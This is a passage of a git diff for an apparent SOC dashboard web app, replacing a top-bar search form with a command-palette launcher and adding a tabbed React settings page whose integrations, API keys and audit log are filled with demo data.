keystroke the palette listens for. Keeps a single+ // source of truth — the palette itself owns the open/close logic.+ const event = new KeyboardEvent('keydown', {+ key: 'k',+ metaKey: true,+ ctrlKey: true,+ bubbles: true,+ });+ window.dispatchEvent(event);};- const now = new Date();- const timeStr = now.toLocaleTimeString('en-US', {- hour: '2-digit',- minute: '2-digit',- second: '2-digit',- hour12: false,- });- const dateStr = now.toLocaleDateString('en-US', {- weekday: 'short',- month: 'short',- day: 'numeric',- year: 'numeric',- });+ const timeStr = now+ ? now.toLocaleTimeString('en-US', {+ hour: '2-digit',+ minute: '2-digit',+ second: '2-digit',+ hour12: false,+ })+ : '—';+ const dateStr = now+ ? now.toLocaleDateString('en-US', {+ weekday: 'short',+ month: 'short',+ day: 'numeric',+ year: 'numeric',+ })+ : '';return (<header className="fixed top-0 left-60 right-0 h-16 flex items-center justify-between px-6 bg-gray-900/90 backdrop-blur-sm border-b border-gray-800/60 z-20">@@ -54,28 +75,35 @@ export function TopBar({ onSearch }: TopBarProps) {<p className="text-xs text-gray-500">{routeInfo.description}</p></div>- {/* Center: NL Search */}- <form onSubmit={handleSearch} className="flex-1 max-w-lg mx-8">- <div className="relative">- <div className="absolute inset-y-0 left-3 flex items-center pointer-events-none">- <svg className="w-4 h-4 text-gray-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">- <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />- </svg>- </div>- <input- type="search"- value={searchQuery}- onChange={(e) => setSearchQuery(e.target.value)}- placeholder="Search alerts, IPs, hashes, domains... (AI-powered)"- className="w-full pl-10 pr-4 py-2 bg-gray-800/60 border border-gray-700/60 rounded-lg text-sm text-gray-200 placeholder-gray-500 focus:outline-none focus:border-blue-500/50 focus:bg-gray-800 transition-all"- />- {searchQuery && (- <div className="absolute inset-y-0 right-3 flex items-center">- <span className="text-xs text-gray-500 bg-gray-700/60 px-1.5 py-0.5 rounded font-mono">⏎</span>- </div>- )}- </div>- </form>+ {/* Center: command palette launcher */}+ <div className="flex-1 max-w-lg mx-8">+ <button+ type="button"+ onClick={openPalette}+ aria-label="Open command palette"+ className="group relative flex w-full items-center gap-3 rounded-lg border border-gray-700/60 bg-gray-800/60 px-3 py-2 text-left text-sm text-gray-400 transition-all hover:border-blue-500/40 hover:bg-gray-800 focus:border-blue-500/60 focus:outline-none focus:ring-2 focus:ring-blue-500/30"+ >+ <svg+ className="h-4 w-4 text-gray-500 transition-colors group-hover:text-gray-300"+ fill="none"+ viewBox="0 0 24 24"+ stroke="currentColor"+ >+ <path+ strokeLinecap="round"+ strokeLinejoin="round"+ strokeWidth={2}+ d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"+ />+ </svg>+ <span className="flex-1 truncate text-gray-400 group-hover:text-gray-300">+ Search alerts, cases, rules, or run a command…+ </span>+ <kbd className="pointer-events-none rounded bg-gray-700/60 px-1.5 py-0.5 font-mono text-[10px] uppercase tracking-wide text-gray-300">+ {shortcut}+ </kbd>+ </button>+ </div>{/* Right: clock, notifications, user */}<div className="flex items-center gap-4">diff --git a/apps/web/src/components/settings/SettingsView.tsx b/apps/web/src/components/settings/SettingsView.tsxnew file mode 100644index 000000000..b05cfe45e--- /dev/null+++ b/apps/web/src/components/settings/SettingsView.tsx@@ -0,0 +1,1376 @@+'use client';++/**+ * Settings.+ *+ * Tabbed workspace surfacing every preference an analyst or admin needs:+ * - Profile Identity + display preferences for the current operator.+ * - Workspace Tenant / org-level metadata.+ * - Integrations Connectors managed via the connectorsApi.+ * - API keys Programmatic access (demo).+ * - Notifications Alerting preferences (localStorage).+ * - Appearance Theme, density, motion (localStorage).+ * - Audit log Recent settings/security events (demo).+ * - About Build, license, support links.+ *+ * Designed to keep working when the backend hasn't been deployed: everything+ * has a graceful demo fallback so the page always feels alive.+ */++import { useEffect, useMemo, useState } from 'react';+import Link from 'next/link';+import useSWR from 'swr';+import { clsx } from 'clsx';+import { motion, AnimatePresence } from 'framer-motion';+import { format, formatDistanceToNow } from 'date-fns';+import toast from 'react-hot-toast';+import { connectorsApi, type Connector, type ConnectorStatus } from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';+import { EmptyState } from '@/components/ui/EmptyState';++// ─── Types ────────────────────────────────────────────────────────────────────++type TabId =+ | 'profile'+ | 'workspace'+ | 'integrations'+ | 'api-keys'+ | 'notifications'+ | 'appearance'+ | 'audit'+ | 'about';++interface ApiKey {+ id: string;+ name: string;+ prefix: string;+ scopes: string[];+ createdAt: string;+ lastUsedAt?: string;+}++interface AuditEntry {+ id: string;+ actor: string;+ action: string;+ target: string;+ at: string;+}++interface Preferences {+ theme: 'system' | 'dark' | 'light';+ density: 'comfortable' | 'compact';+ motion: 'full' | 'reduced';+ alertSoundsEnabled: boolean;+ emailDigestFrequency: 'realtime' | 'hourly' | 'daily' | 'off';+ defaultTimeRange: '15m' | '1h' | '24h' | '7d';+ desktopNotifications: boolean;+ copilotAutoOpen: boolean;+}++const DEFAULT_PREFS: Preferences = {+ theme: 'dark',+ density: 'comfortable',+ motion: 'full',+ alertSoundsEnabled: true,+ emailDigestFrequency: 'hourly',+ defaultTimeRange: '24h',+ desktopNotifications: true,+ copilotAutoOpen: false,+};++const STORAGE_KEY = 'aisoc:settings:preferences';+const PROFILE_KEY = 'aisoc:settings:profile';++interface ProfileData {+ displayName: string;+ email: string;+ title: string;+ timezone: string;+}++const DEFAULT_PROFILE: ProfileData = {+ displayName: 'Sasha Lin',+ email: '[email protected]',+ title: 'Senior SOC Analyst',+ timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || 'UTC',+};++// ─── Demo fallbacks ───────────────────────────────────────────────────────────++const NOW = Date.now();+const ago = (mins: number) => new Date(NOW - mins * 60 * 1000).toISOString();++const DEMO_CONNECTORS: Connector[] = [+ {+ id: 'c-okta',+ name: 'Okta — Identity Logs',+ type: 'okta',+ status: 'active',+ enabled: true,+ description: 'System log + risk events from the Okta admin tenant.',+ lastSync: ago(2),+ alertsIngested: 1842,+ alertCount: 1842,+ createdAt: ago(60 * 24 * 14),+ },+ {+ id: 'c-aws',+ name: 'AWS GuardDuty — prod-us-east-1',+ type: 'aws_guardduty',+ status: 'active',+ enabled: true,+ description: 'High/medium severity findings, replicated every 60s.',+ lastSync: ago(1),+ alertsIngested: 421,+ alertCount: 421,+ createdAt: ago(60 * 24 * 30),+ },+ {+ id: 'c-crowd',+ name: 'CrowdStrike Falcon EDR',+ type: 'crowdstrike',+ status: 'error',+ enabled: true,+ description: 'Streaming detections failed — auth token expired.',+ lastSync: ago(45),+ alertsIngested: 8754,+ alertCount: 8754,+ errorMessage: '401 Unauthorized — refresh OAuth credential.',+ createdAt: ago(60 * 24 * 60),+ },+ {+ id: 'c-zsc',+ name: 'Zscaler — DNS / URL Logs',+ type: 'zscaler',+ status: 'configuring',+ enabled: false,+ description: 'Awaiting NSS feed approval from network team.',+ createdAt: ago(60 * 6),+ },+ {+ id: 'c-mde',+ name: 'Microsoft Defender for Endpoint',+ type: 'mde',+ status: 'inactive',+ enabled: false,+ description: 'Disabled — replaced by CrowdStrike.',+ lastSync: ago(60 * 24 * 21),+ alertsIngested: 1244,+ alertCount: 1244,+ createdAt: ago(60 * 24 * 90),+ },+];++const DEMO_API_KEYS: ApiKey[] = [+ {+ id: 'key-1',+ name: 'CI / Detection-as-Code Pipeline',+ prefix: 'aisoc_live_xLm9…',+ scopes: ['detection:read', 'detection:write', 'cases:read'],+ createdAt: ago(60 * 24 * 90),+ lastUsedAt: ago(20),+ },+ {+ id: 'key-2',+ name: 'Splunk forwarder',+ prefix: 'aisoc_live_aQ02…',+ scopes: ['ingest:write'],+ createdAt: ago(60 * 24 * 240),+ lastUsedAt: ago(2),+ },+ {+ id: 'key-3',+ name: 'PagerDuty webhook',+ prefix: 'aisoc_live_TT74…',+ scopes: ['cases:write', 'cases:read'],+ createdAt: ago(60 * 24 * 30),+ },+];++const DEMO_AUDIT: AuditEntry[] = [+ {+ id: 'a-1',+ actor: '[email protected]',+ action: 'enabled',+ target: 'Detection rule “Impossible Travel — Same User”',+ at: ago(12),+ },+ {+ id: 'a-2',+ actor: '[email protected]',+ action: 'rotated',+ target: 'API key “CI / Detection-as-Code Pipeline”',+ at: ago(60 * 6),+ },+ {+ id: 'a-3',+ actor: 'system',+ action: 'failed-sync',+ target: 'Connector “CrowdStrike Falcon EDR”',+ at: ago(45),+ },+ {+ id: 'a-4',+ actor: '[email protected]',+ action: 'invited',+ target: '[email protected] (analyst)',+ at: ago(60 * 24 * 1),+ },+ {+ id: 'a-5',+ actor: '[email protected]',+ action: 'changed',+ target: 'Workspace timezone to America/Los_Angeles',+ at: ago(60 * 24 * 5),+ },+];++const STATUS_PILL: Record<ConnectorStatus, string> = {+ active: 'bg-emerald-500/10 text-emerald-300 ring-emerald-500/40',+ inactive: 'bg-gray-500/10 text-gray-400 ring-gray-500/30',+ error: 'bg-red-500/10 text-red-300 ring-red-500/40',+ configuring: 'bg-amber-500/10 text-amber-300 ring-amber-500/40',+};++const STATUS_LABEL: Record<ConnectorStatus, string> = {+ active: 'Active',+ inactive: 'Disabled',+ error: 'Error',+ configuring: 'Configuring',+};++// ─── Persistence helpers ──────────────────────────────────────────────────────++function loadPreferences(): Preferences {+ if (typeof window === 'undefined') return DEFAULT_PREFS;+ try {+ const raw = window.localStorage.getItem(STORAGE_KEY);+ if (!raw) return DEFAULT_PREFS;+ return { ...DEFAULT_PREFS, ...(JSON.parse(raw) as Partial<Preferences>) };+ } catch {+ return DEFAULT_PREFS;+ }+}++function savePreferences(prefs: Preferences) {+ if (typeof window === 'undefined') return;+ try {+ window.localStorage.setItem(STORAGE_KEY, JSON.stringify(prefs));+ } catch {+ /* ignore */+ }+}++function loadProfile(): ProfileData {+ if (typeof window === 'undefined') return DEFAULT_PROFILE;+ try {+ const raw = window.localStorage.getItem(PROFILE_KEY);+ if (!raw) return DEFAULT_PROFILE;+ return { ...DEFAULT_PROFILE, ...(JSON.parse(raw) as Partial<ProfileData>) };+ } catch {+ return DEFAULT_PROFILE;+ }+}++function saveProfile(profile: ProfileData) {+ if (typeof window === 'undefined') return;+ try {+ window.localStorage.setItem(PROFILE_KEY, JSON.stringify(profile));+ } catch {+ /* ignore */+ }+}++// ─── Tabs ─────────────────────────────────────────────────────────────────────++const TABS: { id: TabId; label: string; description: string; icon: string }[] = [+ {+ id: 'profile',+ label: 'Profile',+ description: 'Identity and personal display preferences.',+ icon: '👤',+ },+ {+ id: 'workspace',+ label: 'Workspace',+ description: 'Tenant, branding, locale.',+ icon: '🏢',+ },+ {+ id: 'integrations',+ label: 'Integrations',+ description: 'Connected log sources, EDRs, identity providers.',+ icon: '🔌',+ },+ {+ id: 'api-keys',+ label: 'API keys',+ description: 'Programmatic access for pipelines and integrations.',+ icon: '🔑',+ },+ {+ id: 'notifications',+ label: 'Notifications',+ description: 'How and when AiSOC should ping you.',+ icon: '🔔',+ },+ {+ id: 'appearance',+ label: 'Appearance',+ description: 'Theme, density, animations.',+ icon: '🎨',+ },+ {+ id: 'audit',+ label: 'Audit log',+ description: 'Recent administrative events.',+ icon: '📜',+ },+ {+ id: 'about',+ label: 'About',+ description: 'Version, license, links.',+ icon: 'ℹ️',+ },+];++// ─── Component ────────────────────────────────────────────────────────────────++export function SettingsView() {+ const [tab, setTab] = useState<TabId>('profile');++ return (+ <div className="space-y-5">+ <header className="flex flex-col gap-2">+ <h1 className="text-2xl font-semibold text-gray-100">Settings</h1>+ <p className="max-w-2xl text-sm text-gray-500">+ Configure your account, the workspace, and the integrations that feed+ the SOC. Most preferences sync across devices; appearance and+ notification preferences live on this device only.+ </p>+ </header>++ <div className="flex flex-col gap-5 lg:flex-row lg:items-start">+ {/* ── Sidebar ── */}+ <nav+ aria-label="Settings sections"+ className="lg:sticky lg:top-4 lg:w-64 lg:shrink-0"+ >+ <ul className="space-y-1 rounded-xl border border-gray-800 bg-gray-900/40 p-2">+ {TABS.map((t) => {+ const active = tab === t.id;+ return (+ <li key={t.id}>+ <button+ type="button"+ onClick={() => setTab(t.id)}+ className={clsx(+ 'flex w-full items-start gap-3 rounded-lg px-3 py-2.5 text-left text-sm transition-colors',+ active+ ? 'bg-gray-800/80 text-gray-50 ring-1 ring-blue-500/40'+ : 'text-gray-300 hover:bg-gray-800/50 hover:text-gray-100',+ )}+ >+ <span aria-hidden className="text-base leading-5">+ {t.icon}+ </span>+ <span className="flex flex-col">+ <span className="font-medium">{t.label}</span>+ <span className="text-xs text-gray-500">+ {t.description}+ </span>+ </span>+ </button>+ </li>+ );+ })}+ </ul>+ </nav>++ {/* ── Panel ── */}+ <div className="flex-1 min-w-0">+ <AnimatePresence mode="wait">+ <motion.div+ key={tab}+ initial={{ opacity: 0, y: 8 }}+ animate={{ opacity: 1, y: 0 }}+ exit={{ opacity: 0, y: -4 }}+ transition={{ duration: 0.18 }}+ className="rounded-xl border border-gray-800 bg-gray-900/40"+ >+ {tab === 'profile' && <ProfilePanel />}+ {tab === 'workspace' && <WorkspacePanel />}+ {tab === 'integrations' && <IntegrationsPanel />}+ {tab === 'api-keys' && <ApiKeysPanel />}+ {tab === 'notifications' && <NotificationsPanel />}+ {tab === 'appearance' && <AppearancePanel />}+ {tab === 'audit' && <AuditPanel />}+ {tab === 'about' && <AboutPanel />}+ </motion.div>+ </AnimatePresence>+ </div>+ </div>+ </div>+ );+}++// ─── Shared panel chrome ──────────────────────────────────────────────────────++function PanelHeader({+ title,+ description,+ action,+}: {+ title: string;+ description: string;+ action?: React.ReactNode;+}) {+ return (+ <div className="flex flex-col gap-3 border-b border-gray-800 px-6 py-5 sm:flex-row sm:items-center sm:justify-between">+ <div>+ <h2 className="text-lg font-semibold text-gray-100">{title}</h2>+ <p className="mt-1 max-w-xl text-sm text-gray-500">{description}</p>+ </div>+ {action ? <div className="shrink-0">{action}</div> : null}+ </div>+ );+}++function Field({+ label,+ hint,+ children,+}: {+ label: string;+ hint?: string;+ children: React.ReactNode;+}) {+ return (+ <label className="flex flex-col gap-1.5">+ <span className="text-sm font-medium text-gray-300">{label}</span>+ {children}+ {hint ? <span className="text-xs text-gray-500">{hint}</span> : null}+ </label>+ );+}++function inputClass() {+ return clsx(+ 'w-full rounded-lg border border-gray-700 bg-gray-950/60 px-3 py-2 text-sm text-gray-100',+ 'placeholder:text-gray-600 focus:border-blue-500/60 focus:outline-none focus:ring-1 focus:ring-blue-500/40',+ );+}++function Toggle({+ checked,+ onChange,+ label,+ description,+}: {+ checked: boolean;+ onChange: (next: boolean) => void;+ label: string;+ description?: string;+}) {+ return (+ <div className="flex items-start justify-between gap-4 rounded-lg border border-gray-800 bg-gray-950/40 p-4">+ <div className="min-w-0">+ <p className="text-sm font-medium text-gray-200">{label}</p>+ {description ? (+ <p className="mt-1 text-xs text-gray-500">{description}</p>+ ) : null}+ </div>+ <button+ type="button"+ role="switch"+ aria-checked={checked}+ aria-label={label}+ onClick={() => onChange(!checked)}+ className={clsx(+ 'relative inline-flex h-6 w-11 shrink-0 items-center rounded-full transition-colors focus:outline-none focus:ring-2 focus:ring-blue-500/50',+ checked ? 'bg-blue-500/80' : 'bg-gray-700',+ )}+ >+ <span+ className={clsx(+ 'inline-block h-5 w-5 transform rounded-full bg-white shadow transition-transform',+ checked ? 'translate-x-5' : 'translate-x-0.5',+ )}+ />+ </button>+ </div>+ );+}++// ─── Panel: Profile ───────────────────────────────────────────────────────────++function ProfilePanel() {+ const [profile, setProfile] = useState<ProfileData>(DEFAULT_PROFILE);+ const [dirty, setDirty] = useState(false);++ useEffect(() => {+ setProfile(loadProfile());+ }, []);++ const update = <K extends keyof ProfileData>(key: K, value: ProfileData[K]) => {+ setProfile((p) => ({ ...p, [key]: value }));+ setDirty(true);+ };++ const onSave = () => {+ saveProfile(profile);+ setDirty(false);+ toast.success('Profile updated');+ };++ const initials = profile.displayName+ .split(/\s+/)+ .filter(Boolean)+ .slice(0, 2)+ .map((p) => p[0]?.toUpperCase() ?? '')+ .join('');++ return (+ <div>+ <PanelHeader+ title="Profile"+ description="Your identity inside this workspace. Used in cases, audit, and assignments."+ action={+ <button+ type="button"+ disabled={!dirty}+ onClick={onSave}+ className={clsx(+ 'rounded-lg px-4 py-2 text-sm font-medium transition-colors',+ dirty+ ? 'bg-blue-600 text-white hover:bg-blue-500'+ : 'cursor-not-allowed bg-gray-800 text-gray-500',+ )}+ >+ Save changes+ </button>+ }+ />+ <div className="space-y-5 px-6 py-5">+ <div className="flex items-center gap-4">+ <div+ aria-hidden+ className="flex h-16 w-16 items-center justify-center rounded-full bg-gradient-to-br from-blue-500 to-purple-600 text-xl font-semibold text-white shadow-lg ring-2 ring-gray-800"+ >+ {initials || '?'}+ </div>+ <div className="min-w-0">+ <p className="truncate text-base font-semibold text-gray-100">+ {profile.displayName || 'Unnamed user'}+ </p>+ <p className="truncate text-sm text-gray-400">{profile.email}</p>+ <p className="mt-1 text-xs text-gray-500">+ Avatar generated from initials. Custom avatars coming soon.+ </p>+ </div>+ </div>++ <div className="grid gap-4 sm:grid-cols-2">+ <Field label="Display name">+ <input+ className={inputClass()}+ value={profile.displayName}+ onChange={(e) => update('displayName', e.target.value)}+ placeholder="e.g. Avi Sharma"+ />+ </Field>+ <Field label="Email" hint="Used for notifications and login.">+ <input+ type="email"+ className={inputClass()}+ value={profile.email}+ onChange={(e) => update('email', e.target.value)}+ placeholder="[email protected]"+ />+ </Field>+ <Field label="Job title">+ <input+ className={inputClass()}+ value={profile.title}+ onChange={(e) => update('title', e.target.value)}+ placeholder="e.g. SOC Analyst"+ />+ </Field>+ <Field label="Timezone" hint="Used to localize timestamps.">+ <input+ className={inputClass()}+ value={profile.timezone}+ onChange={(e) => update('timezone', e.target.value)}+ placeholder="e.g. America/Los_Angeles"+ />+ </Field>+ </div>++ <div className="rounded-lg border border-gray-800 bg-gray-950/40 p-4 text-xs text-gray-500">+ Profile preferences are stored locally for this demo build. In+ production they sync to the directory provider configured for your+ tenant.+ </div>+ </div>+ </div>+ );+}++// ─── Panel: Workspace ─────────────────────────────────────────────────────────++function WorkspacePanel() {+ return (+ <div>+ <PanelHeader+ title="Workspace"+ description="Tenant identity and locale settings. Available to workspace administrators."+ />+ <div className="grid gap-5 px-6 py-5 sm:grid-cols-2">+ <InfoTile label="Workspace name" value="Cyble — AiSOC Demo" />+ <InfoTile label="Tenant ID" value="tenant_demo_01H0XE4T2WJ9N6" mono />+ <InfoTile label="Plan" value="Open-source (MIT)" />+ <InfoTile label="Region" value="us-east-1 / Multi-AZ" />+ <InfoTile label="Created" value={format(NOW - 1000 * 60 * 60 * 24 * 96, 'PPP')} />+ <InfoTile+ label="Default locale"+ value={`${Intl.DateTimeFormat().resolvedOptions().locale} • 24h`}+ />+ </div>+ <div className="border-t border-gray-800 px-6 py-5">+ <h3 className="text-sm font-semibold text-gray-200">Members</h3>+ <p className="mt-1 text-xs text-gray-500">+ 5 active operators in this workspace (demo data).+ </p>+ <ul className="mt-3 divide-y divide-gray-800 rounded-lg border border-gray-800 bg-gray-950/40">+ {[+ { name: 'Sasha Lin', email: '[email protected]', role: 'Admin' },+ { name: 'Avi Sharma', email: '[email protected]', role: 'Analyst' },+ { name: 'Diego Vega', email: '[email protected]', role: 'Analyst' },+ { name: 'Mia Ocampo', email: '[email protected]', role: 'Hunter' },+ { name: 'CI Service', email: '[email protected]', role: 'Service' },+ ].map((m) => (+ <li+ key={m.email}+ className="flex items-center justify-between px-4 py-3 text-sm"+ >+ <div className="min-w-0">+ <p className="truncate text-gray-100">{m.name}</p>+ <p className="truncate text-xs text-gray-500">{m.email}</p>+ </div>+ <span className="rounded-full bg-gray-800 px-2.5 py-1 text-xs text-gray-300 ring-1 ring-gray-700">+ {m.role}+ </span>+ </li>+ ))}+ </ul>+ </div>+ </div>+ );+}++function InfoTile({ label, value, mono }: { label: string; value: string; mono?: boolean }) {+ return (+ <div className="rounded-lg border border-gray-800 bg-gray-950/40 p-4">+ <p className="text-xs uppercase tracking-wide text-gray-500">{label}</p>+ <p+ className={clsx(+ 'mt-1.5 text-sm text-gray-100',+ mono && 'font-mono text-xs',+ )}+ >+ {value}+ </p>+ </div>+ );+}++// ─── Panel: Integrations ──────────────────────────────────────────────────────++function IntegrationsPanel() {+ const { data, error, isLoading, mutate } = useSWR(+ 'settings:connectors',+ () => connectorsApi.list(),+ { revalidateOnFocus: false, shouldRetryOnError: false },+ );++ const useFallback = !!error;+ const connectors = data?.connectors ?? (useFallback ? DEMO_CONNECTORS : []);++ const counts = useMemo(() => {+ const c = { active: 0, error: 0, inactive: 0, configuring: 0 };+ for (const x of connectors) {+ c[x.status] = (c[x.status] ?? 0) + 1;+ }+ return c;+ }, [connectors]);++ const onTest = async (connector: Connector) => {+ if (useFallback) {+ toast.success(`Test sent to ${connector.name}`);+ return;+ }+ try {+ const result = await connectorsApi.test(connector.id);+ toast.success(+ `${connector.name}: ${result.success ? 'OK' : 'Failed'} • ${result.latencyMs}ms`,+ );+ } catch {+ toast.error('Test request failed');+ }+ };++ const onToggle = async (connector: Connector) => {+ const next = !(connector.enabled ?? connector.status === 'active');+ mutate(+ (curr) =>+ curr+ ? {+ ...curr,+ connectors: curr.connectors.map((c) =>+ c.id === connector.id ? { ...c, enabled: next } : c,+ ),+ }+ : curr,+ { revalidate: false },+ );+ try {+ if (!useFallback) {+ await connectorsApi.update(connector.id, { enabled: next });+ }+ toast.success(next ? 'Connector enabled' : 'Connector disabled');+ mutate();+ } catch {+ toast.error('Could not update connector');+ mutate();+ }+ };++ return (+ <div>+ <PanelHeader+ title="Integrations"+ description="Manage the connectors that stream telemetry into AiSOC."+ action={+ <Link+ href="/connectors/new"+ className="rounded-lg bg-blue-600 px-4 py-2 text-sm font-medium text-white hover:bg-blue-500"+ >+ + Add connector+ </Link>+ }+ />+ <div className="px-6 py-5 space-y-5">+ {/* Stat row */}+ <div className="grid grid-cols-2 gap-3 sm:grid-cols-4">+ <StatTile label="Active" value={counts.active} tone="emerald" />+ <StatTile label="Errors" value={counts.error} tone="red" />+ <StatTile label="Configuring" value={counts.configuring} tone="amber" />+ <StatTile label="Disabled" value={counts.inactive} tone="gray" />+ </div>++ {/* List */}+ {isLoading && !data ? (+ <div className="space-y-3">+ {Array.from({ length: 3 }).map((_, i) => (+ <Skeleton key={i} className="h-20 w-full rounded-lg" />+ ))}+ </div>+ ) : error && !useFallback ? (+ <ErrorState+ title="Could not load integrations"+ error={error}+ onRetry={() => mutate()}+ />+ ) : connectors.length === 0 ? (+ <EmptyState+ title="No connectors yet"+ description="Add your first integration to start streaming events into AiSOC."+ action={+ <Link+ href="/connectors/new"+ className="rounded-lg bg-blue-600 px-4 py-2 text-sm font-medium text-white hover:bg-blue-500"+ >+ Add connector+ </Link>+ }+ />+ ) : (+ <ul className="space-y-2">+ {connectors.map((c) => (+ <li+ key={c.id}+ className="rounded-lg border border-gray-800 bg-gray-950/40 p-4 transition-colors hover:border-gray-700"+ >+ <div className="flex flex-col gap-3 sm:flex-row sm:items-start sm:justify-between">+ <div className="min-w-0">+ <div className="flex items-center gap-2">+ <h3 className="truncate text-sm font-semibold text-gray-100">+ {c.name}+ </h3>+ <span+ className={clsx(+ 'rounded-full px-2 py-0.5 text-xs ring-1 ring-inset',+ STATUS_PILL[c.status],+ )}+ >+ {STATUS_LABEL[c.status]}+ </span>+ </div>+ {c.description ? (+ <p className="mt-1 text-xs text-gray-500">{c.description}</p>+ ) : null}+ <div className="mt-2 flex flex-wrap items-center gap-3 text-xs text-gray-500">+ <span>+ <span className="text-gray-400">Type:</span>{' '}+ <span className="font-mono">{c.type}</span>+ </span>+ {c.lastSync ? (+ <span>+ Last sync{' '}+ {formatDistanceToNow(new Date(c.lastSync), {+ addSuffix: true,+ })}+ </span>+ ) : null}+ {typeof c.alertsIngested === 'number' ||+ typeof c.alertCount === 'number' ? (+ <span>+ {(c.alertsIngested ?? c.alertCount ?? 0).toLocaleString()}{' '}+ events+ </span>+ ) : null}+ </div>+ {c.errorMessage ? (+ <p className="mt-2 rounded border border-red-500/30 bg-red-500/5 px-2 py-1 text-xs text-red-300">+ {c.errorMessage}+ </p>+ ) : null}+ </div>+ <div className="flex shrink-0 items-center gap-2">+ <button+ type="button"+ onClick={() => onTest(c)}+ className="rounded-lg border border-gray-700 bg-gray-900 px-3 py-1.5 text-xs text-gray-200 hover:bg-gray-800"+ >+ Test+ </button>+ <button+ type="button"+ onClick={() => onToggle(c)}+ className={clsx(+ 'rounded-lg px-3 py-1.5 text-xs font-medium',+ c.enabled ?? c.status === 'active'+ ? 'bg-amber-500/10 text-amber-300 ring-1 ring-amber-500/30 hover:bg-amber-500/20'+ : 'bg-emerald-500/10 text-emerald-300 ring-1 ring-emerald-500/30 hover:bg-emerald-500/20',+ )}+ >+ {c.enabled ?? c.status === 'active' ? 'Disable' : 'Enable'}+ </button>+ </div>+ </div>+ </li>+ ))}+ </ul>+ )}+ </div>+ </div>+ );+}++function StatTile({+ label,+ value,+ tone,+}: {+ label: string;+ value: number;+ tone: 'emerald' | 'red' | 'amber' | 'gray';+}) {+ const tones: Record<string, string> = {+ emerald: 'text-emerald-300',+ red: 'text-red-300',+ amber: 'text-amber-300',+ gray: 'text-gray-300',+ };+ return (+ <div className="rounded-lg border border-gray-800 bg-gray-950/40 p-4">+ <p className="text-xs uppercase tracking-wide text-gray-500">{label}</p>+ <p className={clsx('mt-1 text-2xl font-semibold tabular-nums', tones[tone])}>+ {value}+ </p>+ </div>+ );+}++// ─── Panel: API keys ──────────────────────────────────────────────────────────++function ApiKeysPanel() {+ const [keys, setKeys] = useState<ApiKey[]>(DEMO_API_KEYS);+ const [draftName, setDraftName] = useState('');+ const [createdSecret, setCreatedSecret] = useState<string | null>(null);++ const create = () => {+ if (!draftName.trim()) {+ toast.error('Give the key a name');+ return;+ }+ const id = `key-${Math.random().toString(36).slice(2, 8)}`;+ const secretBody = Math.random().toString(36).slice(2, 14);+ const secret = `aisoc_live_${secretBody}`;+ const key: ApiKey = {+ id,+ name: draftName.trim(),+ prefix: `${secret.slice(0, 16)}…`,+ scopes: ['cases:read', 'detection:read'],+ createdAt: new Date().toISOString(),+ };+ setKeys((curr) => [key, ...curr]);+ setCreatedSecret(secret);+ setDraftName('');+ toast.success('API key created');+ };++ const revoke = (id: string) => {+ setKeys((curr) => curr.filter((k) => k.id !== id));+ toast.success('Key revoked');+ };++ const copy = (value: string) => {+ if (typeof navigator !== 'undefined' && navigator.clipboard) {+ navigator.clipboard.writeText(value).catch(() => undefined);+ toast.success('Copied to clipboard');+ }+ };++ return (+ <div>+ <PanelHeader+ title="API keys"+ description="Long-lived tokens used by pipelines, forwarders, and webhooks."+ />+ <div className="space-y-5 px-6 py-5">+ {/* Create */}+ <div className="flex flex-col gap-3 rounded-lg border border-gray-800 bg-gray-950/40 p-4 sm:flex-row sm:items-end">+ <Field label="Name">+ <input+ className={inputClass()}+ value={draftName}+ onChange={(e) => setDraftName(e.target.value)}+ placeholder="e.g. Detection-as-Code pipeline"+ />+ </Field>+ <button+ type="button"+ onClick={create}+ className="rounded-lg bg-blue-600 px-4 py-2 text-sm font-medium text-white hover:bg-blue-500"+ >+ Generate key+ </button>+ </div>++ {/* New key reveal */}+ <AnimatePresence>+ {createdSecret ? (+ <motion.div+ initial={{ opacity: 0, y: 4 }}+ animate={{ opacity: 1, y: 0 }}+ exit={{ opacity: 0, y: -4 }}+ className="rounded-lg border border-amber-500/40 bg-amber-500/5 p-4"+ >+ <p className="text-sm font-medium text-amber-200">+ Save this key now — it will not be shown again.+ </p>+ <div className="mt-3 flex items-center gap-2">+ <code className="block flex-1 truncate rounded bg-gray-950 px-3 py-2 font-mono text-sm text-amber-100 ring-1 ring-amber-500/30">+ {createdSecret}+ </code>+ <button+ type="button"+ onClick={() => copy(createdSecret)}+ className="rounded-lg border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-200 hover:bg-gray-800"+ >+ Copy+ </button>+ <button+ type="button"+ onClick={() => setCreatedSecret(null)}+ className="rounded-lg border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-200 hover:bg-gray-800"+ >+ Dismiss+ </button>+ </div>+ </motion.div>+ ) : null}+ </AnimatePresence>++ {/* List */}+ {keys.length === 0 ? (+ <EmptyState+ title="No API keys yet"+ description="Create your first key above to authenticate pipelines."+ />+ ) : (+ <div className="overflow-hidden rounded-lg border border-gray-800">+ <table className="w-full text-sm">+ <thead className="bg-gray-900/60 text-xs uppercase tracking-wide text-gray-500">+ <tr>+ <th className="px-4 py-2 text-left">Name</th>+ <th className="px-4 py-2 text-left">Prefix</th>+ <th className="px-4 py-2 text-left">Scopes</th>+ <th className="px-4 py-2 text-left">Created</th>+ <th className="px-4 py-2 text-left">Last used</th>+ <th className="px-4 py-2 text-right">Actions</th>+ </tr>+ </thead>+ <tbody className="divide-y divide-gray-800 bg-gray-950/40">+ {keys.map((k) => (+ <tr key={k.id}>+ <td className="px-4 py-3 font-medium text-gray-100">{k.name}</td>+ <td className="px-4 py-3 font-mono text-xs text-gray-400">+ {k.prefix}+ </td>+ <td className="px-4 py-3">+ <div className="flex flex-wrap gap-1">+ {k.scopes.map((s) => (+ <span+ key={s}+ className="rounded bg-gray-800 px-1.5 py-0.5 font-mono text-[11px] text-gray-300 ring-1 ring-gray-700"+ >+ {s}+ </span>+ ))}+ </div>+ </td>+ <td className="px-4 py-3 text-xs text-gray-400">+ {format(new Date(k.createdAt), 'PPP')}+ </td>+ <td className="px-4 py-3 text-xs text-gray-400">+ {k.lastUsedAt+ ? formatDistanceToNow(new 